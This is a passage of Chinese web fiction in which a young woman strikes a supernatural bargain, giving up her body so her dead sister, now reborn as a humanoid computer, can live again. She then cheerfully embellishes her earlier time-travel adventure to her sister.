那声音道:“你应该知道电脑辐射可能会导致胎儿畸形或者胎儿死亡吧?”

我心咯登一下,麻木地点了点头。

“唉,跟你说太多,你也听不懂,简单一句话:你家姐姐的灵魂电波将渐渐被电脑电波感染,灵魂电波变得不再纯净,永远不能做人了。”

“什、什麽?”我巨惊,身子不能自主地发颤了起来。

“咳,咳。”那声音假咳两声,再度说道:“你要我做的事情,我已经完成了。按理说令牌我也该收回了,咳咳,但是,你这丫头我着实是喜欢的紧。令牌就留下吧,如果你想要和我交易的话,就把血滴在令牌上,到时我会出现的。好了,我有事先走了。”

我着急道:“您先别走,我还有事问您!”什麽灵魂电波变得不再纯净??什麽永远不能做人了??弄得我心神俱颤的时候却说要走??

“呵呵,丫头,你舍不得我呀。不过我真太忙了,得走了,没时间陪你这丫头玩了。”

“喂!喂!你别走!!别走啊!!”无论我怎麽喊,那声音都没再出现。

等等,冷静,要冷静,我不能慌,不能慌。他说“你家姐姐的灵魂电波将渐渐被电脑电波感染”的意思是否说:刺槐的灵魂还未被感染?

☆☆

“那个声音”说我还可以和他做交易。

认真地想了三天三夜後,我终於悟了。那声音的主人既然能调出时空录像,又能让我穿越时空,那麽他一定也能让刺槐起死回生。

难怪那声音会骂我愚笨,我也真真是不聪明。召唤他出来的时候,为什麽就不是要他让刺槐起死回生呢?而是问他刺槐车祸的真相?真相很重要吗?

笨,真是笨!

不过我还能和他做交易。

要交易,就意味着要牺牲。

想到此,我不由攥紧了拳头。

害怕,我感觉自己正莫名其妙的害怕着。

☆☆

刺槐能够复活这让我阴霾的心情立马清朗了起来。

不过,让刺槐复活前,我要去看看那电脑人(呃,叫电脑人应该没错吧?)看看刺槐的灵魂电波是否真的进入了电脑里。

既然刺槐出车祸时撞倒了电脑人,那麽是否说明那个电脑人的主人就住在这区域附近(电脑是物事,是物事必定有主人,这个自不必多说。)?

於是,我带着侥幸的心理在这条路上守株待兔了起来。

功夫不负有心人,我终於“守”到了电脑人。呸呸呸~乱说话,那电脑里现在有了刺槐的灵魂,我好像不该再叫它电脑人了,不知为啥,这个称呼会让我联想到“鸟人”,委实不好听。

它有刺槐的灵魂,就叫它刺槐吧。

☆☆

刺槐站在马路边,呆呆望着马路。她眼神中的悲伤是那样的渗人,如果不是那声音事先告诉我它是电脑的话,我根本不会把它往非人类的方向去想。

“刺槐。”慢慢向她靠近的我,尝试地叫唤了姐姐的名字。

它猛的回头,见到我,惊喜掩藏不住地在她的眼眸里扩散。

下一刻里,它收起惊喜,表露出惊讶来:“木槿,你、你怎麽知道我是、我是……”

我心下激动,这麽说来,它真是刺槐?

“刺槐,真的是你!”我奔过去,紧紧抱住它的身子。它的身子不但很软而且还有温度。我疑惑了,眼前的刺槐真的只是一电脑吗?

“木槿,木槿。呜呜,是我,是我!”刺槐点头承认。

久久拥抱後,我和刺槐缓缓分开,手牵着手,搭公交,到我的公寓里。

一进公寓,我便急忙问道:“刺槐,你、你现在是一部电脑吗?”

刺槐吃惊不小:“这个你也知道?”

我拧着眉,不回答她,只是说道:“刺槐,你既然重生了,为什麽不回家来?”

“死後灵魂还在的说法我不知道爸妈会不会接受,况且我的重生很催悲,只是一部人型电脑。加之我还不清楚现在的自己是一缕脑电波还是只是接受了‘刺槐记忆’的电脑。所以我……”

我挑眉亵笑:“刺槐你的想法真纠结。”纵便眼前的这个刺槐已经不是当初的刺槐,我依旧不变与她相处的方式。因为重生成电脑的刺槐很自卑很敏感很脆弱,她经不起我待她的方式与以往不同。

“呵呵。”见我待她如以往一般,刺槐开心地笑了。

唉,我的傻姐姐,我该拿你怎麽办呢?

刺槐捉了我的手,轻声低语道:“木槿你呢,你还没告诉我,一年前你为何会突然昏迷?”

我眨眨眼,道:“刺槐,你给我一点时间吧。此事太辛秘,我现在还没做好讲述的准备。”我和刺槐从小到大无话不谈。这麽个辛秘的“穿越”我也没打算瞒她(只是现在实在没心情说自己的事情。),可见这个姐姐在我的心中的分量有多重了。

☆☆

确定了刺槐真真变成电脑後,我立马滴血在令牌上,一道刺眼白光後,那声音又出现了:

“丫头,你想好和我做交易了?”

“嗯。”我点点头。

“说吧,想要我帮你做什麽。”

“让我姐姐重生为人。”

“呵呵,丫头,今次来,你变聪明了。”

我傻傻谦虚:“您过奖了。”

“本是小事一桩,可惜令姐的灵魂电波已受感染……”

他话还没说完,便被我打断了:“您神通广大,一定能救我姐姐的,是不是?”

那声音静默了许久,才再次开口:“你真想让你家姐姐重生为人?”

“是的。”我坚定地点点头。

“无论付出怎麽样的代价?”那声音带着怀疑。

我蹙眉,心里很不安,但还是很坚定地回答:“是的。”

“即便是交出你自己的身体?”那声音带着试探。

我心下狠狠一悸,道:“呵呵,您千万别拿我开玩笑了。这世上成为植物人的无主躯体应该个把个吧?”

“唉,若是令姐的灵魂电波没被电脑电波感染,那麽自是什麽人都可以。只是这一感染,时间虽短,却已不是纯净的灵魂电波。”

“那……”我一咬牙,“您的意思是说我姐姐用我的身体便可以重生为人了?”

“嗯。你与她不但是亲姐妹,从小在一处,无论是血液、吃的食物或者是吸收的空气都是一样,与她的本体相差较少,对灵魂电波的纯净度要求较低,如果你出让你的身体,那麽她就有可以重新做人了。”

我深深拧眉:“那麽,要怎麽做才能将我姐姐的灵魂电波变回纯净?”

“呵呵,灵魂电波有自我修复的功能,就像是你手上的伤口,只要不受细菌感染自然会有好的一天。令姐现在的环境对灵魂电波来说是个细菌恐怖的环境,因时日较短,她感染较轻微,能恢复,若是时日长了,那麽便是永生无法再为人了。”

那麽说来,我这身体是非让不可了。因为我无法看着姐姐无法再为人。

“我把身体给姐姐後,我的灵魂该往何处去呢?我是否能重生在别人身体里?”

“能啊。不过丫头,你别忘了,你家姐姐若要重生,你就必须和我交易。”

我紧张地蠕着嘴唇,问道:“你要的交易是什麽?”

“我要你回到你们先前游戏的那个时空里去。”

我头皮发麻,连连摇头,道:“不!这个代价太大了。”

“呵呵,作为交易的一方,你可以选择不答应,我不是个会勉强人的人。不过呢,这麽一来你家姐姐就永远不能再做人,啧啧,多可怜啊。”

“为什麽?”我悲愤。

“你通关了,我自不能留你在那时空,但是……但是我心有不甘呐。那般好玩的游戏,却因你的‘好心’变得索然无味了起来。若不是你乱当好人,那些个女人根本不可能那麽容易就把那四个男人聚到一起。……没能把他们聚到一起,……那麽她们就会努力去实现这个目标,到最後阴谋阳谋的自然少不了。呵呵,多好玩多刺激的一场游戏啊。……唉,近来我越想越觉得不甘,我准备那麽久的游戏为什麽这麽容易就被你这丫头给毁了呢?我说丫头,你的脑袋到底在想什麽呢?为什麽要帮助她们呢?眼睁睁地看着你家的男人被糟蹋就一点也不心疼吗?”

我闭了闭眼,抖着唇,无法再说话。

“好了,我忙的很,如果你心肠硬,想看着你家姐姐的灵魂无法再做人,我们就不用交易了。我把令牌收回,我们永不再见了。”

“等等!”我深深吸了好几口长气,方咬牙切齿地说道:“好。我答应你。我去。”我心下抽搐,才从那里回来,为什麽又要过去?为什麽?为什麽?为什麽?

“那声音”看穿了我的悲愤,叹了口气,道:“唉,丫头,凡事皆有因果,要怪就怪你自己吧。”

“……”

我心神很乱,我很恐惧,真的恐惧了。

☆☆

我歪着头,露齿一笑,问道:“刺槐,你相不相信穿越?”

刺槐眼眸大瞪:“穿、穿越?某非你昏迷的日子是穿越去了?”

“嗯嗯。”我忙不迭地点点头。

“真的?木槿你竟主角了一回。快跟我说说是怎麽个情景。”

我心下痛苦,神马“主角了一回”?刺槐啊,现实生活不是穿越小说。──只要是个穿的,就是主角了。

我抿了抿嘴,在虚荣心的作祟下,无可奈何地把那四个男人琼瑶了一把,说的是个个对我是情深意重,爱若痴狂,没我就死,四男一女,女尊万岁。

在刺槐面前我死要面子,所以我怎麽可能告诉她我穿越去的那个世界其实是个色女游戏的世界(脸皮太薄,实在无法说出口,你偷偷看A片被亲亲爱姐发现是一回事儿,当着亲亲爱姐的面大声说你看了A片又是另外一回事儿了。)?怎麽可能告诉她其实里面有很多个穿越女(物以稀为贵,穿越女多了就不稀奇了。)?怎麽可能告诉她其实一个弄不好我就永远不能回来了(那时通关实在是别家穿越女的功劳,人家那才真正叫穿越女,谋略和手段一样都没少。)?更不可能告诉她,我其实恨死了那该死的穿越(小心翼翼地去讨好男人,这样卑微的穿越生活真没人喜欢。)。

听後,刺槐唏嘘不已:“你运气真好,一穿就穿到了女尊社会去。三夫四侍,左拥右抱,享尽齐人之福。”

我点头附和:“是啊,是啊,你家妹妹的运气一向顶好。”我心下抽搐,如果真相如同虚构一般美好,那该有多好。

“不过我觉得吧,就算你穿去了女尊世界也该一心一意才对。”刺槐悟了,不再是一枚NP控了。

我西施捧心,眼泪汪汪:“我也想呀,可是那四个男人都同样出色又同样爱我,无论是谁,我都割舍不下。”经典的NP文女主的心理独白。

刺槐认真道:“是问你自己的心,不是他们的心。”

我蹙眉道:“都是真心,何必分太清?”

“木槿,你的心只有一颗,分不了那麽多的男人。”

刺槐顽固不化,我只好使出杀手!了:“刺槐,你该不会只有一件喜欢的衣服吧?”

“没有,我有很多喜欢的衣服。女人对漂亮衣服的狂热不是一件两件就能够满足了。”

我点点头,道:“这就是了。”

“这就是什麽?”刺槐垂死挣紮。

我眨巴眨巴眼,慎重道:“姐姐没听过:‘姐妹如手足,男人如衣服’吗?”

“呀!不愧是去了一趟女尊社会的女人。不过木槿,你要记住,现在是男女平等的社会,不再是你穿越去的那个女尊社会了,你只能有一个丈夫。”

我很郑重地点头:“嗯,我知道,在这里我一次只能有一个丈夫。”

“……”刺槐风化了。

“对了,你穿越去的那个女尊社会,是不是女人在外养家糊口,男人在家相妻教女?”刺槐粉好奇。

不知为啥,我无法自制地想象了那四个男人呆在家里带孩子的画面,无法克制地起了一身鸡皮疙瘩,定了定神,我决定把YY合理化:“不是这样的。嘿嘿,那里因为空气的原因,那个世界里男子的出生率是女子的五倍多,女子太珍贵了,如果不实行一女N男,人类如何能太平?”

“哦。”刺槐恍然大悟。

“刺槐啊,他们是万中无一的痴情男子,我舍不掉,抛不下,所以我想回到有他们的世界。你就用我的身体照顾好爸妈吧。”

“原来在你心中,他们比我们还重要。”刺槐吃醋了。

“刺槐,你原谅我吧,这一切只因他们爱我爱到山崩地裂,海枯石烂。没有我他们会死的。我舍不得他们死啊。”

“……”刺槐猛的打了个激灵。

“上穷碧落下黄泉的爱恋啊,多麽的可歌可泣啊,刺槐呀,你若不成全我,你就不是女人了!”